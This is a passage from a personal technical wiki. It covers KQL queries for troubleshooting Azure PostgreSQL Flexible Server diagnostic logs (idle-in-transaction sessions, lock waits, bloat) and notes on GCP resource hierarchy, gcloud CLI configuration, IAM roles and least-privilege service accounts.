• Remaining_xids_till_emergency_autovacuum_d (number) — XIDs left before emergency autovacuum kicks in.
• Remaining_xids_till_wraparound_d (number) — XIDs left before wraparound / shutdown.
• Remaining_mxids_till_emergency_autovacuum_d (number) — MXIDs left before emergency autovacuum.
• Remaining_mxids_till_wraparound_d (number) — MXIDs left before MXID wraparound.
• Total_remaining_xids_d / Total_remaining_mxids_d (number) — total XID/MXID budget remaining.

Use cases — troubleshooting

• Transaction-ID wraparound prevention — alert when Remaining_xids_till_wraparound_d / Remaining_mxids_till_wraparound_d drop dangerously low (risk of forced read-only shutdown).
• Emergency-autovacuum prediction — watch Remaining_xids_till_emergency_autovacuum_d to anticipate aggressive anti-wraparound vacuums (and the I/O they cause).
• Find the worst database — rank databases by Age_DatFrozenxid_d / Age_DatMinmxid_d to see which one drives the cluster's XID age.
• MultiXact exhaustion — track Age_DatMinmxid_d / remaining MXIDs for heavy SELECT ... FOR SHARE/FK-locking workloads.
• Vacuum-policy validation — confirm Autovacuum_freeze_max_age_d and related thresholds are set sensibly for the consumption rate.

PostgreSQLFlexPGBouncer — PgBouncer Logs

The log stream of the built-in PgBouncer connection pooler. Only emitted when PgBouncer is enabled on the Flexible Server. One record per log line.

Kusto query

let server = "my-pg-prd-1";
AzureDiagnostics
| where Category == "PostgreSQLFlexPGBouncer" and LogicalServerName_s == server
| project log_s, source_s

Fields

• log_s (string) — the raw PgBouncer log line (timestamp, PID, level, message).
• source_s (string) — log source/stream (e.g. stderr).

Use cases — troubleshooting

• Pooler-level connection rejections — clients refused at PgBouncer before reaching Postgres (no more connections allowed, pool full).
• Pool exhaustion / queuing — pool_size reached, clients waiting for a server connection.
• Auth failures at the pooler — login failures handled by PgBouncer (separate from engine pg_hba errors).
• Client/server churn — frequent connect/disconnect, timeouts (client_idle_timeout, server_idle_timeout).
• Pooler restarts / config reloads — confirm PgBouncer (re)started or reloaded settings.
• Why connections "vanish" — distinguish pooler-side drops from engine-side drops.

Azure PostgreSQL Flexible Server — Diagnostic Logs

All 8 log categories available in Diagnostic Settings · Fields · KQL queries

<div class="section-title">Destination table modes — Log Analytics</div>
<table>
  <thead><tr><th>Mode</th><th>Tables</th><th>Notes</th></tr></thead>
  <tbody>
    <tr><td>AzureDiagnostics</td><td>AzureDiagnostics (single mixed table)</td><td>All categories merged. Column names get _s / _d suffixes. Legacy — not recommended.</td></tr>
    <tr><td>Resource-specific ✅</td><td>PGSQLServerLogs, PGSQLPgStatActivitySessions, PGSQLQueryStoreRuntime, etc.</td><td>One table per category. Better performance, clean schema. Strongly recommended.</td></tr>
  </tbody>
</table>

<div class="section-title" style="margin-top:14px">Category groups</div>
<table>
  <thead><tr><th>Group</th><th>Includes</th></tr></thead>
  <tbody>
    <tr><td>audit</td><td>PostgreSQLLogs only</td></tr>
    <tr><td>allLogs</td><td>All 8 categories</td></tr>
  </tbody>
</table>

<div class="warn" style="margin-top:12px">⚠️ First log ingestion can take 30–60 minutes after enabling a Diagnostic Setting. Log Analytics retains data free for the first 31 days; charges apply beyond that per GB/day.</div>

Azure PostgreSQL Flexible Server — Troubleshooting Checklist

Structured checks for diagnosing incidents using Log Analytics diagnostic data. Each check carries a type badge that tells you how to read its result.

Check types

render only works in the Portal. render directives produce charts in the Azure Portal Log Analytics UI and Azure Workbooks only. When running queries via az monitor log-analytics query, the directive is silently ignored and results come back as JSON/table. To chart CLI output, export to CSV and use a local tool (Python, Excel, etc.).

PostgreSQLFlexSessions

Source: pfl-sessions.md · pg_stat_activity snapshot every ~5 min

Set these variables at the top of every query in this section:

let server    = "my-pg-prd-1";
let db        = "mydb";
let badStart  = datetime(2026-06-23T10:00:00Z);
let badEnd    = datetime(2026-06-23T11:00:00Z);
let goodStart = datetime(2026-06-14T10:00:00Z);
let goodEnd   = datetime(2026-06-14T11:00:00Z);

The db filter constrains checks to client sessions connected to that database. Internal backends (autovacuum workers, checkpointer, walwriter) are not tied to a single database and will be excluded.

🗂️ 1 · Connection inventory

Who is connecting and from what applications. Run this first to establish a baseline before checking thresholds.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| summarize sessions = dcount(Pid_d) by Application_name_s, Backend_type_s
| order by sessions desc

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| summarize connections = dcount(Pid_d) by Collection_time_t, Application_name_s
| render timechart with (xcolumn=Collection_time_t, series=Application_name_s, ycolumns=connections)

🔴 2 · Connection count vs max_connections

Peak number of concurrent connections to this database during the bad window. A connection surge exhausts the server-wide max_connections limit and causes new connections to be rejected with 53300.

Threshold: peak > 80 % of max_connections → connection saturation. Get the limit: az postgres flexible-server parameter show --name max_connections --server-name <server> --resource-group <rg>.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| summarize connections = dcount(Pid_d) by Collection_time_t
| summarize peak = max(connections)

🔴 3 · Idle-in-transaction sessions

Sessions stuck in idle in transaction hold locks, block autovacuum, and inflate the xmin horizon. They are usually a sign of application code that opens a transaction and fails to commit or roll back.

Threshold: > 3 sessions across two or more consecutive snapshots → investigate application connection handling.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| where State_s in ("idle in transaction", "idle in transaction (aborted)")
| summarize idle_in_xact = dcount(Pid_d) by Collection_time_t
| order by Collection_time_t asc

🔴 4 · Long-running open transactions

Transactions open for more than 10 minutes hold their xmin horizon for the entire duration, preventing dead-tuple reclaim on any table they touched — and they hold any locks acquired during that time.

Threshold: any row with xact_age_min > 10 → bloat and lock risk. Identify the Application_name_s and investigate why the transaction is not closed.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| where isnotempty(Xact_start_t)
| extend xact_age_min = datetime_diff("minute", Collection_time_t, Xact_start_t)
| where xact_age_min > 10
| project Collection_time_t, Pid_d, Application_name_s, Client_addr_s,
          State_s, xact_age_min
| order by xact_age_min desc

🔴 5 · Lock waiters

Sessions blocked on a Lock wait are being held up by another session holding an incompatible lock. Even a single sustained lock waiter indicates a blocking chain worth investigating.

Threshold: any non-zero count sustained across ≥ 2 snapshots → find the blocker. Cross-reference with checks 3 and 4 — the blocker is almost always an idle-in-transaction or long-running session.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| where Wait_event_type_s == "Lock"
| summarize lock_waiters = dcount(Pid_d) by Collection_time_t
| order by Collection_time_t asc

🔴 6 · xmin holders

A session with Backend_xmin_d set pins the global xmin horizon at (at most) its own xmin value. Autovacuum cannot reclaim dead tuples older than that horizon on any table, causing table bloat that compounds over time.

Threshold: persistent non-zero count — especially if the same session appears in multiple snapshots — is a long-term bloat risk even if no query is visibly slow right now.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| where isnotempty(Backend_xmin_d)
| summarize xmin_holders = dcount(Pid_d) by Collection_time_t
| order by Collection_time_t asc

📊 7 · Connection count delta (good vs bad)

Peak connection count in the bad window compared to the good window. A spike here points to a connection burst as the driver of the incident (pool misconfiguration, retry storm, traffic surge).

let server    = "my-pg-prd-1";
let db        = "mydb";
let badStart  = datetime(2026-06-23T10:00:00Z);
let badEnd    = datetime(2026-06-23T11:00:00Z);
let goodStart = datetime(2026-06-14T10:00:00Z);
let goodEnd   = datetime(2026-06-14T11:00:00Z);
let good = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(goodStart .. goodEnd)
    | where Database_name_s == db
    | summarize connections = dcount(Pid_d) by Collection_time_t
    | summarize peak = max(connections)
    | extend window = "good";
let bad = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(badStart .. badEnd)
    | where Database_name_s == db
    | summarize connections = dcount(Pid_d) by Collection_time_t
    | summarize peak = max(connections)
    | extend window = "bad";
union good, bad
| render barchart with (xcolumn=window, ycolumns=peak)

📊 8 · Wait event distribution shift

Compares the share of each wait event class between the two windows. A new wait class dominating the bad window (e.g. Lock, IO, LWLock) is a direct signal of what the server was blocked on.

let server    = "my-pg-prd-1";
let db        = "mydb";
let badStart  = datetime(2026-06-23T10:00:00Z);
let badEnd    = datetime(2026-06-23T11:00:00Z);
let goodStart = datetime(2026-06-14T10:00:00Z);
let goodEnd   = datetime(2026-06-14T11:00:00Z);
let good = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(goodStart .. goodEnd)
    | where Database_name_s == db
    | where isnotempty(Wait_event_type_s)
    | summarize samples = count() by Wait_event_type_s
    | extend window = "good";
let bad = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(badStart .. badEnd)
    | where Database_name_s == db
    | where isnotempty(Wait_event_type_s)
    | summarize samples = count() by Wait_event_type_s
    | extend window = "bad";
union good, bad
| render barchart with (xcolumn=Wait_event_type_s, series=window, ycolumns=samples)

🔗 9 · Idle-in-transaction × lock waiters over time

Overlays the idle-in-transaction session count and the lock waiter count on the same timechart. The causal chain runs left to right: idle-in-transaction sessions accumulate first, then lock waiters rise as blocked sessions queue up behind them.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
let idle_in_xact = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(badStart .. badEnd)
    | where Database_name_s == db
    | where State_s in ("idle in transaction", "idle in transaction (aborted)")
    | summarize value = dcount(Pid_d) by Collection_time_t
    | extend metric = "idle_in_transaction";
let lock_waiters = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(badStart .. badEnd)
    | where Database_name_s == db
    | where Wait_event_type_s == "Lock"
    | summarize value = dcount(Pid_d) by Collection_time_t
    | extend metric = "lock_waiters";
union idle_in_xact, lock_waiters
| render timechart with (xcolumn=Collection_time_t, series=metric, ycolumns=value)

📊 10 · Idle-in-transaction — good vs bad, time-aligned

Plots idle-in-transaction session count for both windows on the same relative X axis (minutes elapsed from the start of each window), skipping the days in between. Use this to compare the shape of the curve across days without the gap distorting the view.

let server    = "my-pg-prd-1";
let db        = "mydb";
let badStart  = datetime(2026-06-23T10:00:00Z);
let badEnd    = datetime(2026-06-23T11:00:00Z);
let goodStart = datetime(2026-06-14T10:00:00Z);
let goodEnd   = datetime(2026-06-14T11:00:00Z);
let idle_bad = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(badStart .. badEnd)
    | where Database_name_s == db
    | where State_s in ("idle in transaction", "idle in transaction (aborted)")
    | summarize value = dcount(Pid_d) by Collection_time_t
    | extend elapsed_min = datetime_diff("minute", Collection_time_t, badStart)
    | extend series = "bad";
let idle_good = AzureDiagnostics
    | where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
    | where Collection_time_t between(goodStart .. goodEnd)
    | where Database_name_s == db
    | where State_s in ("idle in transaction", "idle in transaction (aborted)")
    | summarize value = dcount(Pid_d) by Collection_time_t
    | extend elapsed_min = datetime_diff("minute", Collection_time_t, goodStart)
    | extend series = "good";
union idle_bad, idle_good
| render timechart with (xcolumn=elapsed_min, series=series, ycolumns=value)

Drill-down: idle-in-transaction confirmed

Once checks 3–5 have established that idle-in-transaction sessions are driving lock contention, run the following checks across three additional log categories to answer:

• Who is holding the sessions open and what was the last statement they ran? (PostgreSQLLogs)
• Which queries are being blocked? (QueryStoreWaitStats + SqlText)
• What is the downstream impact on tables? (TableStats)

Set these variables at the top of every query in this section:

let server   = "my-pg-prd-1";
let db       = "mydb";
let dbid     = 0.0;       // replace with result of the Dbid helper below
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);

Getting dbid: QueryStore categories filter by OID (Dbid_d), not database name. Run the helper query in check 14 first to resolve the OID for your database.

🗂️ 11 · Offending session detail

Returns one row per idle-in-transaction PID showing the worst transaction age seen and how many snapshots the session persisted across. The Pid_d values here feed directly into check 13.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| where State_s in ("idle in transaction", "idle in transaction (aborted)")
| where isnotempty(Xact_start_t)
| extend xact_age_min = datetime_diff("minute", Collection_time_t, Xact_start_t)
| summarize
    max_age_min = max(xact_age_min),
    snapshots   = dcount(Collection_time_t)
    by Pid_d, Application_name_s, Client_addr_s
| order by max_age_min desc

🔴 12 · Lock-related server log entries

Scans PostgreSQLLogs for engine-level evidence: deadlock kills (40P01), lock-wait timeouts (55P03), and idle-in-transaction session kills. Any row here means the engine already acted on the contention.

Threshold: any row → confirmed engine-level lock event; check sqlerrcode_s for the type. Prerequisite: PostgreSQLLogs must be enabled in Diagnostic Settings (it is free to export).

let server   = "my-pg-prd-1";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLLogs" and LogicalServerName_s == server
| where TimeGenerated between(badStart .. badEnd)
| where sqlerrcode_s in ("40P01", "55P03")
    or Message has_any ("deadlock detected", "lock wait timeout", "idle-in-transaction timeout")
| where errorLevel_s in ("ERROR", "WARNING", "LOG")
| project timestamp_s, processId_d, errorLevel_s, sqlerrcode_s, Message
| order by timestamp_s asc

🗂️ 13 · Last statement from offending PIDs

Finds the last SQL statement logged for each PID identified in check 11. This reveals what the application was doing before the session went idle in transaction.

Prerequisite: statement_s is only populated when log_statement = 'all' or log_min_duration_statement is configured. If no rows are returned the parameter is not set — consider enabling it temporarily.

let server        = "my-pg-prd-1";
let badStart      = datetime(2026-06-23T10:00:00Z);
let badEnd        = datetime(2026-06-23T11:00:00Z);
let offending_pids = dynamic([12345, 67890]);  // paste Pid_d values from check 11
AzureDiagnostics
| where Category == "PostgreSQLLogs" and LogicalServerName_s == server
| where TimeGenerated between(badStart .. badEnd)
| where processId_d in (offending_pids)
| where isnotempty(statement_s)
| project timestamp_s, processId_d, userName_s, applicationName_s, statement_s, detail_s
| order by timestamp_s asc

🔗 14 · Queries accumulating Lock waits

Shows which query fingerprints were sampled most often waiting on Lock events during the bad window — these are the queries being blocked by the idle-in-transaction sessions. Joined with SqlText so the SQL is immediately readable.

Dbid helper — run this first to get the numeric database OID, then set dbid in subsequent queries:

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexSessions" and LogicalServerName_s == server
| where Collection_time_t between(badStart .. badEnd)
| where Database_name_s == db
| distinct Datid_d

let server   = "my-pg-prd-1";
let dbid     = 0.0;       // replace with Datid_d from helper above
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
let sql_text = AzureDiagnostics
    | where Category == "PostgreSQLQueryStoreSqlText" and LogicalServerName_s == server
    | distinct Queryid_str_s, Query_sql_text_s;
AzureDiagnostics
| where Category == "PostgreSQLFlexQueryStoreWaitStats" and LogicalServerName_s == server
| where Start_time_t between(badStart .. badEnd)
| where Dbid_d == dbid
| where Event_type_s == "Lock"
| summarize lock_samples = sum(Calls_d) by Queryid_str_s
| order by lock_samples desc
| join kind=leftouter sql_text on Queryid_str_s
| project Queryid_str_s, lock_samples, Query_sql_text_s

📊 15 · Query runtime inflation (good vs bad)

Compares the worst-case execution time (Max_time_d) of write queries between the two windows. Queries that were being blocked will show dramatically inflated Max_time_d in the bad window even if their average time looks normal.

let server    = "my-pg-prd-1";
let dbid      = 0.0;       // replace with Datid_d from check 14 helper
let badStart  = datetime(2026-06-23T10:00:00Z);
let badEnd    = datetime(2026-06-23T11:00:00Z);
let goodStart = datetime(2026-06-14T10:00:00Z);
let goodEnd   = datetime(2026-06-14T11:00:00Z);
let sql_text = AzureDiagnostics
    | where Category == "PostgreSQLQueryStoreSqlText" and LogicalServerName_s == server
    | distinct Queryid_str_s, Query_sql_text_s;
let good = AzureDiagnostics
    | where Category == "PostgreSQLFlexQueryStoreRuntime" and LogicalServerName_s == server
    | where Start_time_t between(goodStart .. goodEnd)
    | where Dbid_d == dbid
    | where Query_type_s in ("update", "delete", "insert") and Is_system_query_b == false
    | summarize max_time_ms = max(Max_time_d) by Queryid_str_s
    | extend window = "good";
let bad = AzureDiagnostics
    | where Category == "PostgreSQLFlexQueryStoreRuntime" and LogicalServerName_s == server
    | where Start_time_t between(badStart .. badEnd)
    | where Dbid_d == dbid
    | where Query_type_s in ("update", "delete", "insert") and Is_system_query_b == false
    | summarize max_time_ms = max(Max_time_d) by Queryid_str_s
    | extend window = "bad";
union good, bad
| join kind=leftouter sql_text on Queryid_str_s
| render barchart with (xcolumn=Queryid_str_s, series=window, ycolumns=max_time_ms)

🔴 16 · Dead tuple accumulation (bloat signal)

Identifies tables where dead tuples are building up — the delayed consequence of xmin being held by idle-in-transaction sessions. Autovacuum cannot reclaim dead tuples on any table while a session holds an xmin horizon older than those tuples.

Threshold: bloat_pct > 20 % on any table → autovacuum is falling behind; bloat is compounding. Note: Relname_s (table name) may not appear in all workspace configurations; if it is absent, the data is aggregated at schema level only.

let server   = "my-pg-prd-1";
let db       = "mydb";
let badStart = datetime(2026-06-23T10:00:00Z);
let badEnd   = datetime(2026-06-23T11:00:00Z);
AzureDiagnostics
| where Category == "PostgreSQLFlexTableStats" and LogicalServerName_s == server
| where TimeGenerated between(badStart .. badEnd)
| where DatabaseName_s == db
| where N_live_tup_d > 0
| extend bloat_pct = round(100.0 * N_dead_tup_d / (N_live_tup_d + N_dead_tup_d), 1)
| where bloat_pct > 20
| summarize
    max_bloat_pct = max(bloat_pct),
    max_dead_tup  = max(N_dead_tup_d),
    max_live_tup  = max(N_live_tup_d)
    by Schemaname_s, Relname_s
| order by max_bloat_pct desc

GCP

Notes on Google Cloud Platform — coming from an AWS/Azure background.

Sections

• Concepts & Resource Hierarchy — Orgs, Projects, Billing, IAM mental model
• gcloud CLI — Setup, auth, named configs, components
• Networking & Firewalls: AWS vs Azure vs GCP — VPC scope, firewall rules vs SG/NACL/NSG, service-account firewalling
• Datastream: Serverless CDC — connection profiles, streams, backfill vs CDC, log processing, pricing traps

GCP Concepts & Resource Hierarchy

Resource Hierarchy

Organization  (tied 1:1 to a domain — e.g. theodo.com)
└── Folder(s)  (optional grouping — by env, team, BU)
    └── Project  (hard tenancy boundary — billing, APIs, IAM all scoped here)
        └── Resources  (GCS buckets, VMs, BigQuery datasets, Cloud Run, etc.)

A Project is the GCP equivalent of an AWS Account or an Azure Subscription — it is the smallest unit of isolation.

Projects can exist without an org (personal/Gmail accounts). They float under your Google Account directly.

Identity & Account Concepts

Relationships

Billing Account

A billing account holds a payment method (credit card or invoice) and is linked to projects to fund their usage.

• Lives inside an org, or standalone for personal use.
• A project without a billing account cannot use paid services.
• You can have multiple billing accounts under one org.

IAM Model

GCP IAM is resource-centric and additive:

• Bindings are set on a resource (org, folder, project, or individual resource).
• Permissions inherit downward — a binding on the org applies to all folders and projects below it.
• No explicit deny by default — IAM Deny is a separate, newer feature.

AWS / Azure → GCP Mental Map

gcloud CLI

Local Directory Structure

~/.config/gcloud/
├── application_default_credentials.json   # ADC — used by SDKs, Terraform
├── credentials.db                          # OAuth tokens per account
├── properties                              # active config values
└── configurations/
    ├── config_default
    ├── config_praxedo-dev
    └── config_praxedo-prod

Three Auth Layers

This is the biggest footgun coming from AWS/Azure. There are three separate credential types:

gcloud auth login does not set ADC. If you run Terraform or a Python SDK locally, you need both logins.

Azure's az login covers both CLI and SDK in one shot — GCP does not.

Named Configurations

Equivalent to AWS ~/.aws/config [profile foo]. Each named config is a file under ~/.config/gcloud/configurations/ holding an account + project + region.

# Create
gcloud config configurations create praxedo-dev

# Activate
gcloud config configurations activate praxedo-dev

# Set values in the active config
gcloud config set account you@theodo.com
gcloud config set project praxedo-dev-PROJECT_ID
gcloud config set compute/region europe-west1

# List all configs
gcloud config configurations list

# Show current config values
gcloud config list

One-shot override without switching:

gcloud projects list --configuration=personal
# or
CLOUDSDK_ACTIVE_CONFIG_NAME=personal gcloud projects list

Multiple Accounts

gcloud auth login another@theodo.com   # browser flow — adds a second logged-in account
gcloud auth list                        # list all authenticated accounts
gcloud config set account another@theodo.com  # switch active account in current config
gcloud auth revoke another@theodo.com   # remove an account

Multiple accounts can be logged in simultaneously. The active config determines which one is used.

SSO

No separate tool needed (unlike aws-sso-util). gcloud auth login already goes through Google/Workspace SSO. If the org uses Okta federated into Cloud Identity, the browser flow handles it transparently.

For Workforce Identity Federation (direct OIDC/SAML from Okta without Cloud Identity):

gcloud auth login --workforce-pool-user-project=PROJECT_ID

Setup (Personal Account + Terraform)

# 1. Install (Arch)
yay -S google-cloud-cli

# 2. CLI login
gcloud auth login

# 3. ADC login (Terraform + SDKs)
gcloud auth application-default login

# 4. Named config
gcloud config configurations create myproject
gcloud config set account you@gmail.com
gcloud config set project YOUR_PROJECT_ID
gcloud config set compute/region europe-west1

# 5. Verify
gcloud auth list
gcloud config list
gcloud projects list

Useful Commands

# Explore your setup
gcloud organizations list
gcloud resource-manager folders list --organization=ORG_ID
gcloud projects list --filter="parent.id=ORG_ID"
gcloud organizations get-iam-policy ORG_ID

# Project info
gcloud projects describe PROJECT_ID

# Enable a component
gcloud components install beta gke-gcloud-auth-plugin cloud-sql-proxy kubectl
gcloud components update

Components Reference

Minimal install for GCP/GKE work:

gcloud components install beta gke-gcloud-auth-plugin cloud-sql-proxy kubectl

Shell QoL

# Tab completion — add to ~/.bashrc or ~/.zshrc
source "$(gcloud info --format='value(installation.sdk_root)')/completion.bash.inc"

# Quick config switchers
alias gcdev='gcloud config configurations activate praxedo-dev'
alias gcprod='gcloud config configurations activate praxedo-prod'

# Show active config in prompt
gcloud config configurations list --filter="is_active=true" --format="value(name)"

GCP IAM: Roles, Permissions & Testing

Permissions vs Roles

Permission — one atomic capability, maps 1:1 to an API method:

storage.objects.get
│        │       └─ verb
service  resource

Role — a named bag of permissions. That is all it is.

You cannot assign permissions directly to a member. Only roles can be bound. If no predefined role has exactly the permissions you need → create a custom role.

# What permissions does a role contain?
gcloud iam roles describe roles/storage.objectViewer

# What roles contain a specific permission?
gcloud iam list-testable-permissions \
  //cloudresourcemanager.googleapis.com/projects/MY_PROJECT \
  | grep "storage.objects.get"

Basic vs Predefined vs Custom

Basic roles — avoid in prod

roles/viewer, roles/editor, roles/owner — apply to everything in the project. editor alone carries thousands of permissions across all services.

Predefined roles — your default

Naming convention (loose, not enforced):

roles/<service>.<resource><Level>

Common suffixes and what they mean:

These are not a formal standard — each service team named their own roles. Some don't follow the pattern at all (roles/iam.serviceAccountTokenCreator, roles/cloudsql.client).

BigQuery needs two roles together in practice: bigquery.dataEditor (data access) + bigquery.jobUser (run queries/pay for them). Neither alone is sufficient.

Custom roles — least-privilege precision

Build by trimming a predefined role's permission list rather than from scratch:

# Dump a predefined role, trim it, create custom from it
gcloud iam roles describe roles/storage.objectAdmin --format=yaml > role.yaml
# edit role.yaml — remove unwanted permissions
gcloud iam roles create trimmedStorage --project=MY_PROJECT --file=role.yaml

Or create directly:

gcloud iam roles create dataIngester \
  --project=MY_PROJECT \
  --title="Data Ingester" \
  --permissions="storage.objects.get,storage.objects.list,bigquery.tables.create,bigquery.tables.updateData" \
  --stage="GA"

Custom roles don't auto-update — when Google adds new permissions to a service, predefined roles get them, yours does not.

Decision flow

Need to grant access?
│
├─ Throwaway sandbox / solo lab?
│     └─ Basic role is fine
│
├─ Does a predefined role match the job function?
│     └─ YES → use it  ← 95% of cases
│
└─ Predefined too broad for compliance / least-privilege?
      └─ Custom role — accept the maintenance cost

Testing IAM Without Creating Resources

IAM itself is free. Creating service accounts, bindings, and custom roles costs $0. You only pay for compute resources.

Policy Simulator (Console)

Test "if I set this policy, would X be able to do Y?" without granting anything.

console.cloud.google.com/iam-admin/simulator

Input: principal + proposed policy → output: allow/deny + which binding caused it.

test-iam-permissions (CLI)

Check what a member can do on a resource right now:

gcloud storage buckets test-iam-permissions gs://my-bucket \
  --permissions="storage.objects.get,storage.objects.list" \
  --member="user:alice@theodo.com"

gcloud projects test-iam-permissions MY_PROJECT \
  --permissions="bigquery.tables.create" \
  --member="serviceAccount:sa@MY_PROJECT.iam.gserviceaccount.com"

Read-only exploration (no side effects)

# What predefined roles exist for a service?
gcloud iam list-predefined-roles --filter="name:storage"

# What roles does a member currently have on a project?
gcloud projects get-iam-policy MY_PROJECT \
  --flatten="bindings[].members" \
  --filter="bindings.members:alice@theodo.com" \
  --format="table(bindings.role)"

# Preview a policy change before applying
gcloud projects get-iam-policy MY_PROJECT --format=yaml > policy.yaml
# edit locally, inspect, then:
gcloud projects set-iam-policy MY_PROJECT policy.yaml

Throwaway project (safest sandbox)

gcloud projects create pr01-iam-lab --organization=732586063639
# experiment freely — IAM ops are free
gcloud projects delete pr01-iam-lab   # wipes everything when done

Service Accounts — Instance Identity

Are VMs attached to a service account by default?

Yes. Every Compute Engine instance gets an identity unless you explicitly remove it — the Compute Engine default service account:

PROJECT_NUMBER-compute@developer.gserviceaccount.com

It's auto-created the moment the Compute Engine API is enabled (nobody asks for it), and new VMs attach to it automatically.

Coming from AWS/Azure this is the surprise: there, an instance has no cloud identity until you deliberately attach one. In GCP, assume an identity is always attached and make sure it's the least-privilege one you chose — not the broad default.

The legacy Editor grant

Historically, enabling Compute Engine also auto-granted the default SA roles/editor at the project level — one binding, inherited by every VM using that SA (access always follows identity + binding, never "same project = access").

roles/editor  →  bound to  →  PROJECT_NUMBER-compute@developer.gserviceaccount.com

Check a project for the legacy grant:

gcloud projects get-iam-policy MY_PROJECT \
  --flatten="bindings[].members" \
  --filter="bindings.role:roles/editor AND bindings.members:*-compute@developer.gserviceaccount.com" \
  --format="table(bindings.role,bindings.members)"

The access-scope gotcha (why cloud-platform scope is dangerous with the default SA)

A VM's effective permissions = IAM role ∩ access scope (legacy scope model). Two settings, both must allow it:

Dangerous combo: default SA + legacy Editor grant + cloud-platform scope → every VM in the project can act as project-wide Editor from inside the guest OS. This combo is easy to reach by accident (cloud-platform scope is the standard Terraform recommendation for a properly scoped SA — it only becomes a problem paired with an over-privileged identity).

Why a dedicated SA per workload, not the default

Concrete failure: an app VM gets RCE'd while running as the default SA with Editor + cloud-platform scope → attacker can read every bucket, tamper with Pub/Sub, create/delete Compute resources, touch BigQuery, project-wide, from one shell. A dedicated app-sa with only roles/storage.objectViewer on one bucket caps the damage to exactly that.

Pattern: grant a resource to some VMs, not all

Access to any resource (e.g. a GCS bucket) is always VM's attached SA → IAM role binding on the resource — project membership grants nothing by itself.

All VMs need access → share one SA, bind the role once:

resource "google_storage_bucket_iam_member" "vms_read" {
  bucket = google_storage_bucket.data.name
  role   = "roles/storage.objectViewer"
  member = "serviceAccount:${google_service_account.vm.email}"
}

Only some VMs need access → dedicated SA, attached only to those VMs:

resource "google_service_account" "bucket_reader" {
  account_id = "bucket-reader"
}

resource "google_storage_bucket_iam_member" "reader" {
  bucket = google_storage_bucket.data.name
  role   = "roles/storage.objectViewer"
  member = "serviceAccount:${google_service_account.bucket_reader.email}"
}

resource "google_compute_instance" "privileged" {
  # ...
  service_account {
    email  = google_service_account.bucket_reader.email
    scopes = ["cloud-platform"]   # safe here: the SA itself is least-privilege
  }
}

Every other VM, running as a different (non-bound) SA, has no access — the restriction is enforced by which SA is attached, not network placement.

Network access (firewall rules) and resource authorization (IAM bindings) are separate planes, but both key off the same SA identity — see Networking & Firewalls: AWS vs Azure vs GCP for the service-account firewalling side of this pattern.

Terraform + GCP Authentication

Prerequisites

# Terraform is already installed — verify
terraform version

# ADC is a separate login from gcloud CLI login
gcloud auth application-default login   # opens browser

# Verify ADC is working
gcloud auth application-default print-access-token

